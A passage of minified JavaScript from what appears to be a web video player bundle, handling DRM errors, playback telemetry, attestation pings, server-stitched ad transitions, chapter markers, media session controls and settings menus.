x=XVC(x),this.C8?(this.logger.debug("Output restricted, playback cannot continue"),this.publish("drmoutputrestricted"),this.B("html5_report_fatal_drm_restricted_error_killswitch")||this.V9("drm.keyerror",2,void 0,"info."+x)):(this.C8=!0,this.XD(new r4("qoe.restart",Object.assign({},{retrydrm:1},x))),dk(this),ZbD(this)))};
g.q.cqG=function(){if(!this.videoData.uG&&this.mediaElement&&!this.isBackground()){var x="0";this.mediaElement.LB()>0&&oG(this.mediaElement)>=5&&this.videoData.j&&this.videoData.j.C&&(this.QF(iZ(this.playerState,1)),jJX(this,"load_soft_timeout"),this.publish("playbackstalledatstart"),x="1");ls4(this);var T=this.videoData.j;x={restartmsg:x,mfmt:!oU(this.videoData),mdrm:!(!(T&&T.videoInfos&&T.videoInfos.length&&T.videoInfos[0].wb)||this.Ei),mfmtinfo:!this.videoData.Z,prerolls:this.A7()?this.L$.join(","):
"0"};if(this.Ei){T=this.Ei;if(T.Z.size<=0){var t="ns;";T.S||(t+="nr;");T=t+="ql."+T.j.length}else T=XVC(T.Z.values().next().value),T=bF(T);x.drmp=T}var u;Object.assign(x,((u=this.Kf)==null?void 0:u.K2())||{});var H;Object.assign(x,((H=this.mediaElement)==null?void 0:H.K2())||{});this.VA().XD("qoe.start15s",bF(x));this.publish("loadsofttimeout")}};
g.q.IC=function(x){this.videoData.lengthSeconds!==x&&(this.videoData.lengthSeconds=x,Pk(this))};
g.q.Ls=function(x,T){var t=this;x=x===void 0?!1:x;if(!this.X6)if(WM("att_s","player_att")||yK("att_s",void 0,"player_att"),this.B("use_rta_for_player"))(function(){var H,I,E,Z;return g.G(function(e){switch(e.C){case 1:if(!(H=x)){e.lG(2);break}return g.v(e,g.Ysv(),3);case 3:H=!e.Z;case 2:if(H)return e.return();g.PX(e,4);I=P$V(t.VA());if(!I)throw Error();E={};return g.v(e,g.c1V((E.cpn=t.videoData.clientPlaybackNonce,E.encryptedVideoId=t.videoData.videoId||"",E),3E4),6);case 6:Z=e.Z;if(t.X6)throw Error();
if(!Z.challenge)throw g.Vh(Error("Not sending attestation ping; no attestation challenge string")),Error();t.X6=!0;var l=[Z.challenge];Z.error?l.push("r1c="+Z.error):Z.webResponse&&l.push("r1a="+Z.webResponse);var m;((m=Z.adblockReporting)==null?void 0:m.reportingStatus)!==void 0&&l.push("r6a="+Z.adblockReporting.reportingStatus);var d;((d=Z.adblockReporting)==null?void 0:d.broadSpectrumDetectionResult)!==void 0&&l.push("r6b="+Z.adblockReporting.broadSpectrumDetectionResult);I(l.join("&"));yK("att_f",
void 0,"player_att");g.cX(e,0);break;case 4:g.Yq(e),yK("att_e",void 0,"player_att"),g.RV(e)}})})().then(function(){T==null||T()});
else{var u=new g.chf(this.videoData);if("c1a"in u.yh&&!g.G4.isInitialized()){yK("att_wb",void 0,"player_att");this.Ds===2&&Math.random()<.01&&g.Vh(Error("Botguard not available after 2 attempts"));if(x)return;if(this.Ds<5){g.Kt(this.hF);this.Ds++;return}}(u=g.Ynv(u))?(yK("att_f",void 0,"player_att"),RDJ(this.VA(),u),this.X6=!0):yK("att_e",void 0,"player_att")}};
g.q.fT=function(x){x=x===void 0?!1:x;if(q$(this.videoData)&&(this.isAtLiveHead()&&!this.playerState.isPaused()||this.Js()||g.rb(this.videoData)))x=this.getCurrentTime();else if(g.pB(this.videoData)&&this.zI){x=this.zI;var T=this.getCurrentTime();x=(x=SGC(x,T*1E3))?(x.c_()-x.Mz())/1E3:0}else x=this.gb(x);return x};
g.q.Xx=function(){return g.pB(this.videoData)?this.videoData.qU():this.qU()};
g.q.gb=function(x){return this.n2.gb(x===void 0?!1:x)};
g.q.qU=function(){return this.n2.qU()};
g.q.Pk=function(){return this.n2?this.n2.Pk():0};
g.q.getStreamTimeOffset=function(){return this.n2?this.n2.getStreamTimeOffset():0};
g.q.qy=function(){var x=0;this.Cf.B("web_player_ss_media_time_offset")&&(x=this.getStreamTimeOffset()===0?this.Pk():this.getStreamTimeOffset());return x};
g.q.setPlaybackRate=function(x){var T;this.playbackRate!==x&&CUq(this.Gt,(T=this.videoData.j)==null?void 0:T.videoInfos)&&(this.playbackRate=x,dk(this));this.playbackRate=x;this.mediaElement&&this.mediaElement.setPlaybackRate(x)};
g.q.getPlaybackRate=function(){return this.playbackRate};
g.q.getPlaybackQuality=function(){var x="unknown";if(this.videoData.Z&&(x=this.videoData.Z.video.quality,x==="auto"&&this.mediaElement)){var T=this.oe();T&&T.videoHeight>0&&(x=g4(T.videoWidth,T.videoHeight))}return x};
g.q.isHdr=function(){return!!(this.videoData.Z&&this.videoData.Z.video&&this.videoData.Z.video.isHdr())};
g.q.G2=function(){this.VA().G2()};
g.q.sendVideoStatsEngageEvent=function(x,T){var t=this.VA();t.C?(t=Br(t.C,"engage"),t.jY=x,t.send(T)):T&&T()};
g.q.Jp=function(x){return this.VA().Jp(x)};
g.q.isAtLiveHead=function(x,T){T=T===void 0?!1:T;return q$(this.videoData)&&(this.x5||T)?this.n2.isAtLiveHead(x):!1};
g.q.Bm=function(){var x=this.gb(),T=this.getCurrentTime(),t;(t=!q$(this.videoData))||(t=this.n2,t=!(t.C&&t.C.j));return t||this.Js()||isNaN(x)||isNaN(T)?0:Math.max(0,x-T)};
g.q.TW=function(x){(this.x5=x)||this.pm.stop();this.videoData.C&&(x?this.videoData.C.resume():KXX(this.videoData.C));if(this.Kf){var T=this.videoData.B("html5_disable_preload_for_ssdai_with_preroll")&&this.jH()&&this.videoData.isLivePlayback;x&&!T?this.Kf.resume():bR(this,!0)}g.p(this.playerState,2)||x?g.p(this.playerState,512)&&x&&this.QF(IG(this.playerState,512)):this.QF(iZ(this.playerState,512));T=this.VA();T.qoe&&(T=T.qoe,g.ky(T,g.Uw(T.provider),"stream",[x?"A":"I"]))};
g.q.hL=function(x){x={n:x.name,m:x.message};this.VA().XD("player.exception",bF(x))};
g.q.qb=oV(25);g.q.lr=oV(51);g.q.Sb=function(x){this.VA().Sb(x)};
g.q.Gu=function(x){this.VA().Gu(x)};
g.q.Jf=function(x){this.VA().Jf(x)};
g.q.XY=oV(30);g.q.YL=oV(35);g.q.YD=function(x){this.VA().YD(x)};
g.q.Gn=function(){this.kc("hidden",{},!0)};
g.q.zS=function(){return this.mediaElement?this.mediaElement.getVideoPlaybackQuality():{}};
g.q.Z_=function(){return this.Kf?this.Kf.Z_():!0};
g.q.setLoop=function(x){this.loop=x;this.mediaElement&&!g.bS(this.Cf)&&this.mediaElement.setLoop(x);this.Kf&&this.B("html5_loop_skip_set_end_of_stream")&&(x?this.Kf.policy.hM=!0:pK5(this.Kf))};
g.q.RX=function(){return this.mediaElement&&!g.bS(this.Cf)?this.mediaElement.RX():this.loop};
g.q.jI=function(x){this.kc("timestamp",{o:x.toString()});this.n2.jI(x)};
g.q.lI=function(x){this.MJ.tick(x)};
g.q.T7=function(x){return this.MJ.T7(x)};
g.q.Tq=function(x){this.MJ.Tq(x)};
g.q.kc=function(x,T,t){t=t===void 0?!1:t;this.VA().kc(x,T,t)};
g.q.q2=function(x,T,t){t=t===void 0?!1:t;this.VA().kc(x,T,t)};
g.q.XD=function(x){this.VA().XD(x.errorCode,bF(x.details));x=x.errorCode;if(this.videoData.isLivePlayback&&(x==="qoe.longrebuffer"||x==="qoe.slowseek")||x==="qoe.restart"){x=this.Kf?AyX(this.Kf.videoTrack):{};var T,t;this.kc("lasoe",Object.assign(this.Kf?AyX(this.Kf.audioTrack):{},(T=this.FW)==null?void 0:(t=T.C)==null?void 0:t.Zf()));var u,H;this.kc("lvsoe",Object.assign(x,(u=this.FW)==null?void 0:(H=u.Z)==null?void 0:H.Zf()))}};
g.q.N2=function(x,T,t){this.VA().N2(x,T,t)};
g.q.Af=function(x,T,t,u,H,I,E,Z){var e;if((e=this.videoData.C)!=null&&e.isLive){var l=T.playerType===2?T:x,m=x.videoData.videoId,d=T.videoData.videoId;if(m&&d){e=this.VA();if(e.qoe){var M=e.qoe,A=x.cpn,R=T.cpn,Y=l.videoData.Zk,b=M.provider.videoData.clientPlaybackNonce,z=M.provider.videoData.videoId,F=R!==b&&d!==z;b=A!==b&&m!==z;M.reportStats();M.adCpn&&M.adCpn!==A||(M.adCpn=b?A:"",M.ZZ=b?m:"",M.adFormat=b?Y:void 0,GL(M,2,I?4:H?2:0,R,d,u),M.reportStats(),M.adCpn=F?R:"",M.ZZ=F?d:"",M.adFormat=F?Y:
void 0,GL(M,2,I?5:H?3:1,A,m,t),M.reportStats())}t=x.cpn;if(e.j.has(t)){if(H=e.j.get(t),yn(H,!0).send(),Di(H),t!==e.provider.videoData.clientPlaybackNonce){H85(H);var V;(V=e.C)==null||oyD(V);e.j.delete(t)}}else e.bq=e.provider.videoData.clientPlaybackNonce,e.bq&&e.C&&(e.j.set(e.bq,e.C),yn(e.C).send(),Di(e.C));V=T.cpn;l=l.videoData;u-=this.qy();if(e.j.has(V)){u=e.j.get(V);var B=u.j&&isNaN(u.T)?Wr(u):NaN;u=$0i(u,!1);isNaN(B)||(u.N=B);u.send()}else u=SwD(e,e.provider,l,u),e.j.set(V,u),i8m(u,new g.qa(iZ(new g.uZ,
8),new g.uZ)),TR4(u),(B=e.C)==null||Di(B);e.bq=V;this.B("html5_unify_csi_server_stitched_transition_logging")?ubf(x.cpn,T.cpn,this.videoData.clientPlaybackNonce,T.videoData,E,void 0,Z):(B=this.videoData.clientPlaybackNonce,e=T.videoData,x=(x.cpn===B?"video":"ad")+"_to_"+(T.cpn===B?"video":"ad"),B={},e.D&&(B.cttAuthInfo={token:e.D,videoId:e.videoId}),E&&(B.startTime=E),BM(x,B),g.gO({targetVideoId:e.videoId,targetCpn:T.cpn,isSsdai:!0},x),a3("pbs",Z!=null?Z:(0,g.bo)(),x))}}else this.logger.C(360717806,
"SSTEvent for nonSS")};
g.q.tC=function(){var x=this.sF,T=x.L8;x.L8=[];return T};
g.q.Ir=function(x){this.videoData.u4=!0;this.XD(new r4("sabr.fallback",x));this.jw(!0)};
g.q.QK=function(x,T){this.videoData.zg=!0;if(T===void 0||T)this.XD(new r4("qoe.restart",x)),this.jw(!0);this.videoData.Ty()&&this.B("html5_reload_caption_on_ssdai_fallback")&&this.sF.Vb()};
g.q.Fi=function(x){this.kc("sdai",{aftimeout:x});this.XD(new r4("ad.fetchtimeout",{timeout:x}))};
g.q.Nt=function(x,T){this.kc("timelineerror",x);x=new r4("dai.timelineerror",x);T?this.V9("dai.timelineerror",1,"RETRYABLE_ERROR",bF(x.details)):this.XD(x)};
g.q.xZ=function(){return g.Uw(this.VA().provider)};
g.q.getPlayerSize=function(){return this.sN.getPlayerSize()};
g.q.xL=function(){return this.sN.xL()};
g.q.Vs=function(){return this.MJ};
g.q.HZ=function(){return this.sF.HZ()};
g.q.getVolume=function(){return this.sF.getVolume()};
g.q.s9=function(){return this.sF.s9()};
g.q.isMuted=function(){return this.sF.isMuted()};
g.q.Qr=function(){return this.sF.Qr()};
g.q.Hq=function(){this.hn=!0};
g.q.B=function(x){return this.Cf.B(x)};
g.q.t1=function(x,T,t,u,H){this.kc("xvt",{m:x,g:T?1:0,tt:t?1:0,np:u?1:0,c:H})};
g.q.SI=function(){var x;(x=this.Kf)==null||x.resume()};
g.q.jH=function(){return g.wy(this.L$,"ad")};
g.q.Rq=function(){var x=this.getCurrentTime(),T=x-this.Pk();var t=this.mediaElement?ZD(this.mediaElement.kp()):0;t=Math.floor(Math.max(t-T,0))+100;var u;if(!this.B("html5_ssdai_disable_seek_to_skip")&&((u=this.Kf)==null?0:u.ju(T,this.gb())))return this.kc("sdai",{skipad:1,ct:T.toFixed(3),adj:0}),!0;var H;return((H=this.Kf)==null?0:H.Rq(T,t))?(this.kc("sdai",{skipad:1,ct:T.toFixed(3),adj:t.toFixed(3)}),$7(this.videoData)&&this.Kf.seek(T+t,{seekSource:89,wp:"videoplayer_skipServerStitchedAd"}),m3H(this.n2,
x),!0):!1};
g.q.AM=function(){return this.Cf.AM()};
g.q.nT=function(){if(this.B("html5_generate_content_po_token"))return this.videoData.GR||"";this.sF.QZ();return this.Cf.mY||""};
g.q.Lv=function(){if(this.videoData.videoId)return this.videoData.uh};
g.q.AR=function(){return this.videoData.videoId};
g.q.cg=function(){return this.sF.Qb};
g.q.Rl=function(){return this.Tp};
g.q.DJ=function(){return this.sF.DJ()};
g.q.df=function(x,T){this.n2.df(x,T)};
g.q.Jb=function(){this.n2.Jb()};
g.q.i$=function(x,T){var t=this.B("html5_generate_content_po_token")?this.videoData:void 0;this.sF.i$(x,T,t)};
g.q.mM=function(x,T){var t;(t=this.Kf)==null||t.mM(x,T)};
g.q.Vj=function(){var x=this.My();return!!x&&x.Vj()};
g.q.vS=function(){return this.zI};
g.q.XU=function(x,T){this.VA().XU(x,T)};
g.q.dc=function(){return this.VA().dc()};
g.q.uj=function(){return this.videoData.EA};
g.q.d_=function(){return this.sF.d_()};
g.q.O1=function(){return this.sF.O1(this)};
g.q.CE=function(){this.nQ=!0};
g.q.JC=function(){return this.bC};
g.q.Ae=function(x){var T;(T=this.Kf)==null||T.Ae(x)};g.P(MYv,OT);g.P(Akv,OT);g.q=Akv.prototype;g.q.seekToChapterWithAnimation=function(x){var T=this;if(g.lh(this.api)&&!(x<0)){var t=this.api.getVideoData(),u=t.WD;if(u&&x<u.length){u=g.S(u);for(var H=u.next();!H.done;H=u.next())if(H=H.value,H.index===x){R7m(this,H.startTime,H.title);return}}this.B("web_key_moments_markers")&&(t=t.QR)&&x<t.length&&t.forEach(function(I,E){E===x&&R7m(T,I.timeRangeStartMillis,I.title)})}};
g.q.seekToTimeWithAnimation=function(x,T){g.lh(this.api)&&R7m(this,x,T)};
g.q.setMacroMarkers=function(x,T){T={playerOverlays:{playerOverlayRenderer:{decoratedPlayerBarRenderer:{decoratedPlayerBarRenderer:{playerBar:{multiMarkersPlayerBarRenderer:T}}}}}};x=x.getVideoData();x.getWatchNextResponse();x&&x.getWatchNextResponse()==null&&(CB(x,{raw_watch_next_response:T}),x.publish("dataupdated"))};
g.q.changeMarkerVisibility=function(x,T,t){var u=this.api.getVideoData();if(u){var H=!1;if(x)for(x=g.S(T),T=x.next();!T.done;T=x.next()){T=T.value;var I=u.Lz;if(I&&!I.includes(T))switch(t){case "CHANGE_MARKERS_VISIBILITY_RESTRICTION_MODE_NOT_OVERWRITE_SAME_TYPE":SZH(T,u)||(H=!0,I=void 0,(I=u.Lz)==null||I.push(T));break;case "CHANGE_MARKERS_VISIBILITY_RESTRICTION_MODE_NOT_OVERWRITE_ANY_TYPE":I.length===0&&(H=!0,I=void 0,(I=u.Lz)==null||I.push(T));break;default:H=!0,I=void 0,(I=u.Lz)==null||I.push(T)}}else for(t=
g.S(T),x=t.next();!x.done;x=t.next())x=x.value,u.visibleOnLoadKeys.includes(x)||g.XF(u.Lz,x)&&(H=!0);H&&this.api.publish("updatemarkervisibility")}};
g.q.isSameMarkerTypeVisible=function(x){var T=this.api.getVideoData();return T?SZH(x,T):!1};g.P(zU,OT);
zU.prototype.updateMetadata=function(){var x=this,T=this.api.getVideoData();if(T!=null&&T.eD()){var t=this.api.Y(),u=[],H="";if(!t.jY){var I=UpX(this);g.L2(t)&&I?(u=bbX(I.thumbnailDetails),I.album&&(H=PZ(I.album))):u=[{src:T.ys("mqdefault.jpg")||"",sizes:"320x180",type:"image/jpeg"}]}var E;((E=this.api.getVideoData())==null?0:E.J)&&rkJ(this);ckJ(this);YZC(this);navigator.mediaSession.metadata=new MediaMetadata({title:T.title,artist:T.author,artwork:u,album:H});t=T=null;g.kh(this.api)&&(T=function(){x.api.nextVideo()},
t=function(){x.api.previousVideo()});
kG("nexttrack",T);kG("previoustrack",t)}};
zU.prototype.oU=function(){navigator.mediaSession.playbackState="none";navigator.mediaSession.metadata=null;for(var x=g.S("nexttrack previoustrack play pause seekbackward seekforward seekto".split(" ")),T=x.next();!T.done;T=x.next())kG(T.value,null);var t;((t=this.api.getVideoData())==null?0:t.J)&&navigator.mediaSession.setPositionState&&navigator.mediaSession.setPositionState({});OT.prototype.oU.call(this)};g.P(F8,OT);F8.prototype.K=function(x){return x.compositeEmbargo!==void 0};
F8.prototype.oU=function(){OT.prototype.oU.call(this);this.Z.clear()};g.P(vM3,OT);g.q=vM3.prototype;g.q.queueOfflineAction=function(x,T,t,u){var H=this,I,E;return g.G(function(Z){return Z.C==1?(I=W8(H.api.xm()))?g.v(Z,I.MD([x],T,t,u),3):Z.lG(2):Z.C!=2&&(E=Z.Z,E.length)?Z.return(E[0]):Z.return(Promise.reject())})};
g.q.updateDownloadState=function(x,T){var t=W8(this.api.xm());return t?t.updateDownloadState(x,T):Promise.reject()};
g.q.pauseVideoDownload=function(x){var T=W8(this.api.xm());T&&T.yG(x)};
g.q.resumeVideoDownload=function(x){var T=this,t;return g.G(function(u){return(t=W8(T.api.xm()))?u.return(t.Ep(x)):u.return(Promise.reject())})};
g.q.isOrchestrationLeader=function(){return this.api.isOrchestrationLeader()};
g.q.refreshAllStaleEntities=function(x){x===void 0&&(x=14400);var T=W8(this.api.xm());return T?T.refreshAllStaleEntities(x):Promise.reject()};
g.q.setUpPositionSyncInterval=function(x){var T=W8(this.api.xm());T&&T.setUpPositionSyncInterval(x)};g.P(h6,OT);h6.prototype.getAvailableQualityDataAndMessaging=function(){return{qualityData:this.getAvailableQualityData(),qualityMessagingFormattedString:void 0}};
h6.prototype.getAvailableQualityData=function(){var x=this.api.getVideoData();if(!x)return[];var T=[],t,u,H=(t=x.getPlayerResponse())==null?void 0:(u=t.playabilityStatus)==null?void 0:u.paygatedQualitiesMetadata;u=(H==null?void 0:H.qualityDetails)||[];t=new Map;t=g.p4(u)&&!Array.isArray(u)?new Map(Object.entries(u)):new Map(u.map(function(E){return[E.key,E.value]}));
if(u=H==null?void 0:H.restrictedAdaptiveFormats){H=[];u=g.S(u);for(var I=u.next();!I.done;I=u.next())I=I.value,I=sc(I.mimeType,I.quality,I.itag.toString(),I.width.toString(),I.height.toString(),I.qualityLabel),H.push(I);x=g.HV(x);MF(H);u=[];H=g.S(H);for(I=H.next();!I.done;I=H.next())I=I.value,lG(x,I,this.api.Y().T)===!0&&u.push(I);T=T.concat(VY3(u,!1,t))}x=this.api.Xk();T=T.concat(VY3(x,!0,t));t=[];if(this.api.B("web_player_enable_premium_hbr_in_h5_api"))return T=LQq(T),G6q(T),T;x={};T=g.S(T);for(H=
T.next();!H.done;H=T.next())H=H.value,u=H.quality,x[u]||(H.formatId=void 0,t.push(H),x[u]=!0);return t};var P4={},ZUy=(P4["internal-error"]=-1,P4["non-recoverable-error"]=-2,P4["api-disabled-by-application"]=-3,P4["invalid-argument"]=-4,P4["token-provider-invalid"]=-5,P4);g.P(vk,OT);vk.prototype.Wy=function(x){var T=this;if(asX())if(!this.Z&&this.C){WQC(this,x);try{this.C.then(function(){B_V(T,x)},function(t){VY(t,"player_update");
T.handleError(t,x)})}catch(t){VY(t,"player_update_catch"),this.handleError(t,x)}}else this.Z?B_V(this,x):this.api.kc("pf",{m:this.Z?1:0,
p:this.C?1:0})};
vk.prototype.handleError=function(x,T){g.Vh(x);if(this.api.B("html5_enable_d6de4_cold_start_and_error")){var t=0;x.mediaIntegrityErrorName?t||(t=ZUy[x.mediaIntegrityErrorName]):x.code&&(t=x.code());T.uh={gxf:{code:t}}}};g.P(GU,g.Q);GU.prototype.Nj=function(x){x=x?"Exit picture-in-picture":"Picture-in-picture";this.update({"data-title-no-tooltip":x,title:x});this.api.Kd()};
GU.prototype.onClick=function(){this.api.togglePictureInPicture()};g.P(Lw,OT);Lw.prototype.createButton=function(){var x=this;this.button=new GU(this.api);g.y(this,this.button);this.api.YB(this.button);this.events.V(this.api,"videodatachange",function(){Dpi(x)});
Dpi(this)};
Lw.prototype.setDocumentPictureInPicture=function(x){this.api.BE().ue(x);x=this.api.cE();var T=pn3(this.api.xm());T&&(x?T.load():T.unload());this.api.publish("documentpictureinpicturechange")};g.P(yk5,OT);g.P(gk,g.Q);g.q=gk.prototype;g.q.jt=function(){};
g.q.e_=function(){};
g.q.Cl=function(){return!0};
g.q.z27=function(){if(this.expanded){this.SY.show();var x=this.j.element.scrollWidth}else x=this.j.element.scrollWidth,this.SY.hide();this.Zk=this.G9+x;g.Ic(this.badge.element,"ytp-suggested-action-badge-expanded",this.expanded);this.badge.element.style.width=(this.expanded?this.G9:this.Zk)+"px";this.tQ.start()};
g.q.Bi=function(){this.badge.element.style.width=(this.expanded?this.Zk:this.G9)+"px";this.Ee.start()};
g.q.Ho=function(){this.K&&this.U.logVisibility(this.badge.element,this.Cl());this.ZZ&&this.U.logVisibility(this.dismissButton.element,this.Cl()&&this.r7())};
g.q.Si=function(x){this.uG=x;az(this);nw(this);this.Ka()};
g.q.a$j=function(){g.Ic(this.badge.element,"ytp-suggested-action-badge-with-offline-slate",!0)};
g.q.r7=function(){return this.jY||this.uG||!this.J};
g.q.Ka=function(){this.Cl()?this.S.show():this.S.hide();this.Ho()};
g.q.tE=function(){this.enabled=!1;this.Ka()};
g.q.vx=function(x){x?this.ZZ&&this.U.logClick(this.dismissButton.element):this.K&&this.U.logClick(this.badge.element)};
g.q.e2G=function(){this.Ka()};
g.q.bzf=function(x){this.hM=x===1;this.Ka();g.Ic(this.badge.element,"ytp-suggested-action-badge-with-offline-slate",!1)};
g.q.Tp9=function(){g.Ic(this.badge.element,"ytp-suggested-action-badge-fullscreen",this.U.isFullscreen());this.Ka()};g.P(Bk,g.qS);Bk.prototype.Lb=function(){this.publish("size-change")};
Bk.prototype.focus=function(){this.content.focus()};
Bk.prototype.jC=function(){this.publish("back")};g.P(g.Wk,Bk);g.q=g.Wk.prototype;g.q.NU=function(x,T){if(T===void 0?0:T)this.items.push(x),this.menuItems.element.appendChild(x.element);else{T=g.ig(this.items,x,JkV);if(T>=0)return;T=~T;g.$u(this.items,T,0,x);tn(this.menuItems.element,x.element,T)}x.subscribe("size-change",this.JL,this);this.menuItems.publish("size-change")};
g.q.FY=function(x){x.unsubscribe("size-change",this.JL,this);this.T9()||(g.XF(this.items,x),this.menuItems.element.removeChild(x.element),this.menuItems.publish("size-change"))};
g.q.JL=function(){this.menuItems.publish("size-change")};
g.q.focus=function(){for(var x=0,T=0;T<this.items.length;T++){var t=this.items[T].element;if(t.getAttribute("role")==="menuitemradio"){if(t.getAttribute("aria-checked")==="true"){x=T;break}}else break}this.items[x].focus()};
g.q.hs=function(){return this.items.length};g.P(g.yY,g.BF);g.q=g.yY.prototype;g.q.show=function(){g.BF.prototype.show.call(this);this.Ef()};
g.q.hide=function(){g.BF.prototype.hide.call(this);this.C.length>1&&g.J6(this)};
g.q.Ef=function(){p8H(this);this.lN&&(C8i(this),g.Sw(this.element,this.size))};
g.q.LU=function(){var x=this.C.pop();QJH(this,x,this.C[this.C.length-1],!0)};
g.q.Sq=function(x){if(!x.defaultPrevented)switch(x.keyCode){case 27:this.nz();x.preventDefault();break;case 37:this.C.length>1&&this.LU();x.preventDefault();break;case 39:x.preventDefault()}};
g.q.focus=function(){this.C.length&&this.C[this.C.length-1].focus()};
g.q.oU=function(){g.BF.prototype.oU.call(this);this.D&&this.D.dispose();this.N&&this.N.dispose()};g.P(Cw,g.yY);Cw.prototype.open=function(x,T){this.initialize(x.items)&&this.tq(T,!!T)};
Cw.prototype.initialize=function(x){g.DE(this.PS);if(x===void 0||x.length===0)return!1;var T=x.length;x=g.S(x);for(var t=x.next();!t.done;t=x.next())this.NU(t.value,T--);return!0};
Cw.prototype.NU=function(x,T){x.menuNavigationItemRenderer?w8V(this,x.menuNavigationItemRenderer,T):x.menuServiceItemRenderer&&KQq(this,x.menuServiceItemRenderer,T)};g.P(QY,gk);g.q=QY.prototype;g.q.jt=function(x){x.target!==this.dismissButton.element&&x.target!==this.overflowButton.element&&(this.vx(),this.onClickCommand&&this.U.XW("innertubeCommand",this.onClickCommand))};
g.q.e_=function(){this.enabled=!1;this.S.hide()};
g.q.Cl=function(){return!!this.C&&this.enabled};
g.q.onVideoDataChange=function(x,T){this.j0(T);if(this.C){this.zD();a:if(!this.isCounterfactual){var t,u,H;this.banner.update({title:(t=this.C)==null?void 0:t.title,subtitle:(u=this.C)==null?void 0:u.subtitle,metadata:(H=this.C)==null?void 0:H.metadataText});var I;this.onClickCommand=g.N((I=this.C)==null?void 0:I.onTap,LP);var E;if(x=g.N((E=this.C)==null?void 0:E.onOverflow,LP))this.N=g.N(x,EuC);var Z;if((Z=this.C)==null?0:Z.thumbnailImage){var e,l;E=((e=this.C)==null?void 0:(l=e.thumbnailImage)==
null?void 0:l.sources)||[];if(E.length===0)break a;this.thumbnailImage.update({url:E[0].url})}else{var m;if((m=this.C)==null?0:m.thumbnailIconName){var d;this.thumbnailIcon.update({icon:(d=this.C)==null?void 0:d.thumbnailIconName})}}var M;this.shouldShowOverflowButton=!((M=this.C)==null||!M.shouldShowOverflowButton);var A;this.shouldHideDismissButton=!((A=this.C)==null||!A.shouldHideDismissButton)}var R;this.banner.element.setAttribute("aria-label",((R=this.C)==null?void 0:R.a11yLabel)||"");var Y;
this.AQ=(Y=this.C)==null?void 0:Y.dismissButtonA11yLabel;this.dismissButton.hide();this.overflowButton.hide();this.isInitialized=!0;xmq(this)}};
g.q.Ikc=function(){this.isVisible=!0;xmq(this)};
g.q.DUQ=function(){this.isVisible=!1;xmq(this)};
g.q.Ho=function(){gk.prototype.Ho.call(this);this.Z&&this.U.logVisibility(this.banner.element,this.isVisible)};
g.q.vx=function(){gk.prototype.vx.call(this,!1);this.Z&&this.U.logClick(this.banner.element)};
g.q.iB=function(x){this.D||(this.D=new Cw(this.U),g.y(this,this.D));var T,t;if((T=this.N)==null?0:(t=T.menu)==null?0:t.menuRenderer)this.D.open(this.N.menu.menuRenderer,x.target),x.preventDefault()};
g.q.j0=function(){};
g.q.zD=function(){};
g.q.oU=function(){this.U.Xa("suggested_action_view_model");gk.prototype.oU.call(this)};g.P(pw,QY);
pw.prototype.j0=function(x){var T,t,u;this.productUpsellSuggestedActionViewModel=g.N((T=x.getWatchNextResponse())==null?void 0:(t=T.playerOverlays)==null?void 0:(u=t.playerOverlayRenderer)==null?void 0:u.suggestedActionViewModel,rmb);var H;if((H=this.productUpsellSuggestedActionViewModel)==null?0:H.content){var I;this.C=g.N((I=this.productUpsellSuggestedActionViewModel)==null?void 0:I.content,HAC)}var E,Z;if(this.Z=!!((E=this.productUpsellSuggestedActionViewModel)==null?0:(Z=E.loggingDirectives)==null?
0:Z.trackingParams)){var e,l;this.U.setTrackingParams(this.banner.element,((e=this.productUpsellSuggestedActionViewModel)==null?void 0:(l=e.loggingDirectives)==null?void 0:l.trackingParams)||null)}var m;this.isCounterfactual=!((m=this.productUpsellSuggestedActionViewModel)==null||!m.isCounterfactualServing)};
pw.prototype.zD=function(){var x=[],T,t=g.S(((T=this.productUpsellSuggestedActionViewModel)==null?void 0:T.ranges)||[]);for(T=t.next();!T.done;T=t.next()){var u=T.value;u&&(T=Number(u.startTimeMilliseconds),u=Number(u.endTimeMilliseconds),isNaN(T)||isNaN(u)||x.push(new g.te(T,u,{id:"product_upsell",namespace:"suggested_action_view_model"})))}this.U.oi(x)};g.P(TGD,OT);g.P(O2,OT);O2.prototype.onVideoDataChange=function(x,T){var t=this;if(!pm(T)&&(x==="newdata"&&tkC(this),this.Z&&x==="dataloaded")){var u;mH(uq(this.api.Y(),(u=this.api.getVideoData())==null?void 0:g.Cm(u)),function(H){var I=iN3(H);I&&(I=sKf(t,t.C||I))&&t.api.setAudioTrack(I,!0);t.j&&(t.j=!1,E6f(t,H))})}};
O2.prototype.qm=function(){var x=this;if(g.bS(this.api.Y())){var T,t=g.sP(this.api.Y(),(T=this.api.getVideoData())==null?void 0:g.Cm(T));return mH(q8(t),function(u){var H=a9();gh(H,u);return x.api.qm(H)})}return q8(this.api.qm())};g.P(g.wk,g.JW);g.q=g.wk.prototype;g.q.open=function(){g.N3(this.If,this.Z)};
g.q.Mm=function(x){qlD(this);var T=this.options[x];T&&(T.element.setAttribute("aria-checked","true"),this.Zn(this.uM(x)),this.j=x)};
g.q.x$=function(x){g.DE(this.Z);for(var T={},t=!1,u=0;u<x.length;u++){var H=x[u],I=this.options[H],E=H===this.j;E&&(t=!0);I&&I.priority===-u?(g.Nw(this.options[H],this.uM(H,!0)),delete this.options[H]):I=this.Wr(H,-u,E);T[H]=I;this.Z.NU(I,!0)}t||(this.j=null);x=g.S(Object.keys(this.options));for(t=x.next();!t.done;t=x.next())this.options[t.value].dispose();this.options=T};
g.q.Wr=function(x,T,t,u){var H=this;t={L:"div",DZ:["ytp-menuitem",u?"ytp-menuitem-with-footer":""],X:{tabindex:"0",role:"menuitemradio","aria-checked":t?"true":"false"},W:[{L:"div",DZ:["ytp-menuitem-label"],z9:"{{label}}"}]};u&&(u={L:"div",G:"ytp-menuitem-footer",W:[u]},t.W?t.W.push(u):t.W=[u]);T=new g.JW(t,T,this.uM(x,!0));T.listen("click",function(){H.JU(x)});
return T};
g.q.enable=function(x){this.J?x||(this.J=!1,this.GN(!1)):x&&(this.J=!0,this.GN(!0))};
g.q.GN=function(x){x?this.If.NU(this):this.If.FY(this)};
g.q.Uo=function(x){this.publish("select",x)};
g.q.JU=function(x){this.Uo(x)};
g.q.uM=function(x){return x.toString()};
g.q.bB=function(x){x.defaultPrevented||x.keyCode!==39||(this.open(),x.preventDefault())};
